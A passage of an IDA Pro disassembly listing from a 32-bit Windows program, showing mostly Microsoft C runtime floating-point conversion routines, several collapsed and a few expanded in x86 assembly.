TO EXPAND] ; [0000001D BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND] ; [0000016D BYTES: COLLAPSED FUNCTION __cftoe2_l. PRESS KEYPAD "+" TO EXPAND] ; [000000CE BYTES: COLLAPSED FUNCTION __cftoe_l. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] ; [00000371 BYTES: COLLAPSED FUNCTION __cftoa_l. PRESS KEYPAD "+" TO EXPAND] ; [000000F5 BYTES: COLLAPSED FUNCTION __cftof2_l. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __cftof_l. PRESS KEYPAD "+" TO EXPAND] ; [000000F8 BYTES: COLLAPSED FUNCTION __cftog_l. PRESS KEYPAD "+" TO EXPAND] ; [00000086 BYTES: COLLAPSED FUNCTION __cfltcvt_l. PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002B BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [0000001F BYTES: COLLAPSED FUNCTION ___initconout. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION ___termcon. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002D BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114AD proc near ; CODE XREF: __fassign_l+15p var_28 = byte ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_8] mov edi, [ebp+arg_4] lea ecx, [ebp+var_24] call ??0_LocaleUpdate@@QAE@PAUlocaleinfo_struct@@@Z ; _LocaleUpdate::_LocaleUpdate(localeinfo_struct *) lea eax, [ebp+var_24] push eax xor ebx, ebx push ebx push ebx push ebx push ebx push edi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call ___strgtold12_l mov [ebp+var_14], eax lea eax, [ebp+var_10] push esi push eax call sub_411969 add esp, 28h test byte ptr [ebp+var_14], 3 jnz short loc_41152A cmp eax, 1 jnz short loc_411515 loc_411504: ; CODE XREF: sub_4114AD+87j cmp [ebp+var_18], bl jz short loc_411510 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_411510: ; CODE XREF: sub_4114AD+5Aj push 3 loc_411512: ; CODE XREF: sub_4114AD+7Bj pop eax jmp short loc_411544 ; --------------------------------------------------------------------------- loc_411515: ; CODE XREF: sub_4114AD+55j cmp eax, 2 jnz short loc_411536 loc_41151A: ; CODE XREF: sub_4114AD+81j cmp [ebp+var_18], bl jz short loc_411526 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_411526: ; CODE XREF: sub_4114AD+70j push 4 jmp short loc_411512 ; --------------------------------------------------------------------------- loc_41152A: ; CODE XREF: sub_4114AD+50j test byte ptr [ebp+var_14], 1 jnz short loc_41151A test byte ptr [ebp+var_14], 2 jnz short loc_411504 loc_411536: ; CODE XREF: sub_4114AD+6Bj cmp [ebp+var_18], bl jz short loc_411542 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_411542: ; CODE XREF: sub_4114AD+8Cj xor eax, eax loc_411544: ; CODE XREF: sub_4114AD+66j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn sub_4114AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411553 proc near ; CODE XREF: __fassign_l+2Ep var_28 = byte ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_8] mov edi, [ebp+arg_4] lea ecx, [ebp+var_24] call ??0_LocaleUpdate@@QAE@PAUlocaleinfo_struct@@@Z ; _LocaleUpdate::_LocaleUpdate(localeinfo_struct *) lea eax, [ebp+var_24] push eax xor ebx, ebx push ebx push ebx push ebx push ebx push edi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call ___strgtold12_l mov [ebp+var_14], eax lea eax, [ebp+var_10] push esi push eax call sub_411EAB add esp, 28h test byte ptr [ebp+var_14], 3 jnz short loc_4115D0 cmp eax, 1 jnz short loc_4115BB loc_4115AA: ; CODE XREF: sub_411553+87j cmp [ebp+var_18], bl jz short loc_4115B6 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4115B6: ; CODE XREF: sub_411553+5Aj push 3 loc_4115B8: ; CODE XREF: sub_411553+7Bj pop eax jmp short loc_4115EA ; --------------------------------------------------------------------------- loc_4115BB: ; CODE XREF: sub_411553+55j cmp eax, 2 jnz short loc_4115DC loc_4115C0: ; CODE XREF: sub_411553+81j cmp [ebp+var_18], bl jz short loc_4115CC mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4115CC: ; CODE XREF: sub_411553+70j push 4 jmp short loc_4115B8 ; --------------------------------------------------------------------------- loc_4115D0: ; CODE XREF: sub_411553+50j test byte ptr [ebp+var_14], 1 jnz short loc_4115C0 test byte ptr [ebp+var_14], 2 jnz short loc_4115AA loc_4115DC: ; CODE XREF: sub_411553+6Bj cmp [ebp+var_18], bl jz short loc_4115E8 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4115E8: ; CODE XREF: sub_411553+8Cj xor eax, eax loc_4115EA: ; CODE XREF: sub_411553+66j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn sub_411553 endp ; [000000BD BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] ; [000000BB BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] ; [0000008E BYTES: COLLAPSED FUNCTION __fltout2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000DF BYTES: COLLAPSED FUNCTION __alldvrm. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION unknown_libname_137. PRESS KEYPAD "+" TO EXPAND] ; [0000006A BYTES: COLLAPSED FUNCTION __controlfp_s. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411969 proc near ; CODE XREF: sub_4114AD+44p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx mov ebx, ecx and ecx, 8000h mov [ebp+var_14], ecx mov ecx, [eax+6] mov [ebp+var_20], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] and ebx, 7FFFh sub ebx, 3FFFh shl eax, 10h cmp ebx, 0FFFFC001h push edi mov [ebp+var_1C], ecx mov [ebp+var_18], eax jnz short loc_4119D3 xor ebx, ebx xor eax, eax loc_4119B0: ; CODE XREF: sub_411969+51j cmp [ebp+eax*4+var_20], ebx jnz short loc_4119C3 inc eax cmp eax, 3 jl short loc_4119B0 xor eax, eax jmp loc_411E68 ; --------------------------------------------------------------------------- loc_4119C3: ; CODE XREF: sub_411969+4Bj xor eax, eax lea edi, [ebp+var_20] stosd stosd push 2 stosd pop eax jmp loc_411E68 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_411969+41j and [ebp+arg_0], 0 push esi lea esi, [ebp+var_20] lea edi, [ebp+var_2C] movsd movsd movsd mov esi, dword_424238 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_10], ebx mov [ebp+var_C], eax jns short loc_411A0B dec edx or edx, 0FFFFFFE0h inc edx loc_411A0B: ; CODE XREF: sub_411969+9Bj lea edi, [ebp+eax*4+var_20] push 1Fh xor eax, eax pop ecx sub ecx, edx inc eax shl eax, cl mov [ebp+var_8], ecx test [edi], eax jz loc_411AB1 mov eax, [ebp+var_C] or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_411A39 ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_411969+D6j cmp [ebp+eax*4+var_20], 0 loc_411A39: ; CODE XREF: sub_411969+C9j jnz short loc_411A43 inc eax cmp eax, 3 jl short loc_411A34 jmp short loc_411AB1 ; --------------------------------------------------------------------------- loc_411A43: ; CODE XREF: sub_411969:loc_411A39j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_411A5D dec esi or esi, 0FFFFFFE0h inc esi loc_411A5D: ; CODE XREF: sub_411969+EDj and [ebp+var_4], 0 sub ecx, esi xor edx, edx inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] add esi, edx mov [ebp+arg_0], esi mov esi, [ecx] cmp [ebp+arg_0], esi jb short loc_411A9C cmp [ebp+arg_0], edx jmp short loc_411A9A ; --------------------------------------------------------------------------- loc_411A7F: ; CODE XREF: sub_411969+143j test ecx, ecx jz short loc_411AAE and [ebp+var_4], 0 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] cmp esi, edx mov [ebp+arg_0], esi jb short loc_411A9C cmp esi, 1 loc_411A9A: ; CODE XREF: sub_411969+114j jnb short loc_411AA3 loc_411A9C: ; CODE XREF: sub_411969+10Fj ; sub_411969+12Cj mov [ebp+var_4], 1 loc_411AA3: ; CODE XREF: sub_411969:loc_411A9Aj dec eax mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_4] jns short loc_411A7F loc_411AAE: ; CODE XREF: sub_411969+118j mov [ebp+arg_0], ecx loc_411AB1: ; CODE XREF: sub_411969+B5j ; sub_411969+D8j mov ecx, [ebp+var_8] or eax, 0FFFFFFFFh shl eax, cl and [edi], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_411AD1 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_411AD1: ; CODE XREF: sub_411969+159j cmp [ebp+arg_0], 0 jz short loc_411AD8 inc ebx loc_411AD8: ; CODE XREF: sub_411969+16Cj mov eax, dword_424234 mov ecx, eax sub ecx, dword_424238 cmp ebx, ecx jge short loc_411AF6 xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd jmp loc_411D03 ; --------------------------------------------------------------------------- loc_411AF6: ; CODE XREF: sub_411969+17Ej cmp ebx, eax jg loc_411D0D sub eax, [ebp+var_10] lea esi, [ebp+var_2C] mov ecx, eax lea edi, [ebp+var_20] movsd cdq and edx, 1Fh add eax, edx movsd mov edx, ecx sar eax, 5 and edx, 8000001Fh movsd jns short loc_411B24 dec edx or edx, 0FFFFFFE0h inc edx loc_411B24: ; CODE XREF: sub_411969+1B4j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_411B3F: ; CODE XREF: sub_411969+201j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_411B3F mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_411B79: ; CODE XREF: sub_411969+227j cmp edx, eax jl short loc_411B85 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_411B8A ; --------------------------------------------------------------------------- loc_411B85: ; CODE XREF: sub_411969+212j and [ebp+edx*4+var_20], 0 loc_411B8A: ; CODE XREF: sub_411969+21Aj dec edx sub ecx, 4 test edx, edx jge short loc_411B79 mov esi, dword_424238 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_C], eax jns short loc_411BB9 dec edx or edx, 0FFFFFFE0h inc edx loc_411BB9: ; CODE XREF: sub_411969+249j push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl lea ebx, [ebp+eax*4+var_20] mov [ebp+var_10], ecx test [ebx], edx jz loc_411C54 or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_411BE4 ; --------------------------------------------------------------------------- loc_411BDF: ; CODE XREF: sub_411969+281j cmp [ebp+eax*4+var_20], 0 loc_411BE4: ; CODE XREF: sub_411969+274j jnz short loc_411BEE inc eax cmp eax, 3 jl short loc_411BDF jmp short loc_411C54 ; --------------------------------------------------------------------------- loc_411BEE: ; CODE XREF: sub_411969:loc_411BE4j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_411C08 dec esi or esi, 0FFFFFFE0h inc esi loc_411C08: ; CODE XREF: sub_411969+298j and [ebp+arg_0], 0 xor edx, edx sub ecx, esi inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] lea edi, [esi+edx] cmp edi, esi jb short loc_411C24 cmp edi, edx jnb short loc_411C2B loc_411C24: ; CODE XREF: sub_411969+2B5j mov [ebp+arg_0], 1 loc_411C2B: ; CODE XREF: sub_411969+2B9j mov [ecx], edi mov ecx, [ebp+arg_0] jmp short loc_411C51 ; --------------------------------------------------------------------------- loc_411C32: ; CODE XREF: sub_411969+2E9j test ecx, ecx jz short loc_411C54 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] xor edi, edi cmp esi, edx jb short loc_411C4A cmp esi, 1 jnb short loc_411C4D loc_411C4A: ; CODE XREF: sub_411969+2DAj xor edi, edi inc edi loc_411C4D: ; CODE XREF: sub_411969+2DFj mov [ecx], esi mov ecx, edi loc_411C51: ; CODE XREF: sub_411969+2C7j dec eax jns short loc_411C32 loc_411C54: ; CODE XREF: sub_411969+263j ; sub_411969+283j ... mov ecx, [ebp+var_10] or eax, 0FFFFFFFFh shl eax, cl and [ebx], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_411C74 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_411C74: ; CODE XREF: sub_411969+2FCj mov ecx, dword_42423C inc ecx mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_411C95 dec edx or edx, 0FFFFFFE0h inc edx loc_411C95: ; CODE XREF: sub_411969+325j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_411CB0: ; CODE XREF: sub_411969+372j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_411CB0 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_411CEA: ; CODE XREF: sub_411969+398j cmp edx, eax jl short loc_411CF6 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_411CFB ; --------------------------------------------------------------------------- loc_411CF6: ; CODE XREF: sub_411969+383j and [ebp+edx*4+var_20], 0 loc_411CFB: ; CODE XREF: sub_411969+38Bj dec edx sub ecx, 4 test edx, edx jge short loc_411CEA loc_411D03: ; CODE XREF: sub_411969+188j push 2 xor ebx, ebx pop eax jmp loc_411E67 ; --------------------------------------------------------------------------- loc_411D0D: ; CODE XREF: sub_411969+18Fj cmp ebx, dword_424230 mov ecx, dword_42423C jl loc_411DCC xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd or [ebp+var_20], 80000000h mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_411D48 dec edx or edx, 0FFFFFFE0h inc edx loc_411D48: ; CODE XREF: sub_411969+3D8j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_411D63: ; CODE XREF: sub_411969+425j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_411D63 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_411D9D: ; CODE XREF: sub_411969+44Bj cmp edx, eax jl short loc_411DA9 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_411DAE ; --------------------------------------------------------------------------- loc_411DA9: ; CODE XREF: sub_411969+436j and [ebp+edx*4+var_20], 0 loc_411DAE: ; CODE XREF: sub_411969+43Ej dec edx sub ecx, 4 test edx, edx jge short loc_411D9D mov eax, dword_424230 mov ecx, dword_424244 lea ebx, [ecx+eax] xor eax, eax inc eax jmp loc_411E67 ; --------------------------------------------------------------------------- loc_411DCC: ; CODE XREF: sub_411969+3B0j mov eax, dword_424244 and [ebp+var_20], 7FFFFFFFh add ebx, eax mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_411DF4 dec edx or edx, 0FFFFFFE0h inc edx loc_411DF4: ; CODE XREF: sub_411969+484j and [ebp+var_C], 0 and [ebp+arg_0], 0 or esi, 0FFFFFFFFh mov ecx, edx shl esi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not esi loc_411E0F: ; CODE XREF: sub_411969+4D4j mov ecx, [ebp+arg_0] mov edi, [ebp+ecx*4+var_20] mov ecx, edi and ecx, esi mov [ebp+var_10], ecx mov ecx, edx shr edi, cl mov ecx, [ebp+arg_0] or edi, [ebp+var_C] mov [ebp+ecx*4+var_20], edi mov edi, [ebp+var_10] mov ecx, [ebp+var_4] shl edi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], edi jl short loc_411E0F mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_411E4C: ; CODE XREF: sub_411969+4FAj cmp edx, eax jl short loc_411E58 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_411E5D ; --------------------------------------------------------------------------- loc_411E58: ; CODE XREF: sub_411969+4E5j and [ebp+edx*4+var_20], 0 loc_411E5D: ; CODE XREF: sub_411969+4EDj dec edx sub ecx, 4 test edx, edx jge short loc_411E4C xor eax, eax loc_411E67: ; CODE XREF: sub_411969+39Fj ; sub_411969+45Ej pop esi loc_411E68: ; CODE XREF: sub_411969+55j ; sub_411969+65j push 1Fh pop ecx sub ecx, dword_42423C shl ebx, cl mov ecx, [ebp+var_14] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx mov ecx, dword_424240 or ebx, [ebp+var_20] cmp ecx, 40h jnz short loc_411E9D mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], ebx mov [ecx], edx jmp short loc_411EA7 ; --------------------------------------------------------------------------- loc_411E9D: ; CODE XREF: sub_411969+525j cmp ecx, 20h jnz short loc_411EA7 mov ecx, [ebp+arg_4] mov [ecx], ebx loc_411EA7: ; CODE XREF: sub_411969+532j ; sub_411969+537j pop edi pop ebx leave retn sub_411969 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411EAB proc near ; CODE XREF: sub_411553+44p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx mov ebx, ecx and ecx, 8000h mov [ebp+var_14], ecx mov ecx, [eax+6] mov [ebp+var_20], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] and ebx, 7FFFh sub ebx, 3FFFh shl eax, 10h cmp ebx, 0FFFFC001h push edi mov [ebp+var_1C], ecx mov [ebp+var_18], eax jnz short loc_411F15 xor ebx, ebx xor eax, eax loc_411EF2: ; CODE XREF: sub_411EAB+51j cmp [ebp+eax*4+var_20], ebx jnz short loc_411F05 inc eax cmp eax, 3 jl short loc_411EF2 xor eax, eax jmp loc_4123AA ; --------------------------------------------------------------------------- loc_411F05: ; CODE XREF: sub_411EAB+4Bj xor eax, eax lea edi, [ebp+var_20] stosd stosd push 2 stosd pop eax jmp loc_4123AA ; --------------------------------------------------------------------------- loc_411F15: ; CODE XREF: sub_411EAB+41j and [ebp+arg_0], 0 push esi lea esi, [ebp+var_20] lea edi, [ebp+var_2C] movsd movsd movsd mov esi, dword_424250 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_10], ebx mov [ebp+var_C], eax jns short loc_411F4D dec edx or edx, 0FFFFFFE0h inc edx loc_411F4D: ; CODE XREF: sub_411EAB+9Bj lea edi, [ebp+eax*4+var_20] push 1Fh xor eax, eax pop ecx sub ecx, edx inc eax shl eax, cl mov [ebp+var_8], ecx test [edi], eax jz loc_411FF3 mov eax, [ebp+var_C] or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_411F7B ; --------------------------------------------------------------------------- loc_411F76: ; CODE XREF: sub_411EAB+D6j cmp [ebp+eax*4+var_20], 0 loc_411F7B: ; CODE XREF: sub_411EAB+C9j jnz short loc_411F85 inc eax cmp eax, 3 jl short loc_411F76 jmp short loc_411FF3 ; --------------------------------------------------------------------------- loc_411F85: ; CODE XREF: sub_411EAB:loc_411F7Bj mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_411F9F dec esi or esi, 0FFFFFFE0h inc esi loc_411F9F: ; CODE XREF: sub_411EAB+EDj and [ebp+var_4], 0 sub ecx, esi xor edx, edx inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] add esi, edx mov [ebp+arg_0], esi mov esi, [ecx] cmp [ebp+arg_0], esi jb short loc_411FDE cmp [ebp+arg_0], edx jmp short loc_411FDC ; --------------------------------------------------------------------------- loc_411FC1: ; CODE XREF: sub_411EAB+143j test ecx, ecx jz short loc_411FF0 and [ebp+var_4], 0 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] cmp esi, edx mov [ebp+arg_0], esi jb short loc_411FDE cmp esi, 1 loc_411FDC: ; CODE XREF: sub_411EAB+114j jnb short loc_411FE5 loc_411FDE: ; CODE XREF: sub_411EAB+10Fj ; sub_411EAB+12Cj mov [ebp+var_4], 1 loc_411FE5: ; CODE XREF: sub_411EAB:loc_411FDCj dec eax mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_4] jns short loc_411FC1 loc_411FF0: ; CODE XREF: sub_411EAB+118j mov [ebp+arg_0], ecx loc_411FF3: ; CODE XREF: sub_411EAB+B5j ; sub_411EAB+D8j mov ecx, [ebp+var_8] or eax, 0FFFFFFFFh shl eax, cl and [edi], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_412013 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_412013: ; CODE XREF: sub_411EAB+159j cmp [ebp+arg_0], 0 jz short loc_41201A inc ebx loc_41201A: ; CODE XREF: sub_411EAB+16Cj mov eax, dword_42424C mov ecx, eax sub ecx, dword_424250 cmp ebx, ecx jge short loc_412038 xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd jmp loc_412245 ; --------------------------------------------------------------------------- loc_412038: ; CODE XREF: sub_411EAB+17Ej cmp ebx, eax jg loc_41224F sub eax, [ebp+var_10] lea esi, [ebp+var_2C] mov ecx, eax lea edi, [ebp+var_20] movsd cdq and edx, 1Fh add eax, edx movsd mov edx, ecx sar eax, 5 and edx, 8000001Fh movsd jns short loc_412066 dec edx or edx, 0FFFFFFE0h inc edx loc_412066: ; CODE XREF: sub_411EAB+1B4j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_412081: ; CODE XREF: sub_411EAB+201j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_412081 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_4120BB: ; CODE XREF: sub_411EAB+227j cmp edx, eax jl short loc_4120C7 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_4120CC ; --------------------------------------------------------------------------- loc_4120C7: ; CODE XREF: sub_411EAB+212j and [ebp+edx*4+var_20], 0 loc_4120CC: ; CODE XREF: sub_411EAB+21Aj dec edx sub ecx, 4 test edx, edx jge short loc_4120BB mov esi, dword_424250 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_C], eax jns short loc_4120FB dec edx or edx, 0FFFFFFE0h inc edx loc_4120FB: ; CODE XREF: sub_411EAB+249j push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl lea ebx, [ebp+eax*4+var_20] mov [ebp+var_10], ecx test [ebx], edx jz loc_412196 or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_412126 ; --------------------------------------------------------------------------- loc_412121: ; CODE XREF: sub_411EAB+281j cmp [ebp+eax*4+var_20], 0 loc_412126: ; CODE XREF: sub_411EAB+274j jnz short loc_412130 inc eax cmp eax, 3 jl short loc_412121 jmp short loc_412196 ; --------------------------------------------------------------------------- loc_412130: ; CODE XREF: sub_411EAB:loc_412126j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41214A dec esi or esi, 0FFFFFFE0h inc esi loc_41214A: ; CODE XREF: sub_411EAB+298j and [ebp+arg_0], 0 xor edx, edx sub ecx, esi inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] lea edi, [esi+edx] cmp edi, esi jb short loc_412166 cmp edi, edx jnb short loc_41216D loc_412166: ; CODE XREF: sub_411EAB+2B5j mov [ebp+arg_0], 1 loc_41216D: ; CODE XREF: sub_411EAB+2B9j mov [ecx], edi mov ecx, [ebp+arg_0] jmp short loc_412193 ; --------------------------------------------------------------------------- loc_412174: ; CODE XREF: sub_411EAB+2E9j test ecx, ecx jz short loc_412196 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] xor edi, edi cmp esi, edx jb short loc_41218C cmp esi, 1 jnb short loc_41218F loc_41218C: ; CODE XREF: sub_411EAB+2DAj xor edi, edi inc edi loc_41218F: ; CODE XREF: sub_411EAB+2DFj mov [ecx], esi mov ecx, edi loc_412193: ; CODE XREF: sub_411EAB+2C7j dec eax jns short loc_412174 loc_412196: ; CODE XREF: sub_411EAB+263j ; sub_411EAB+283j ... mov 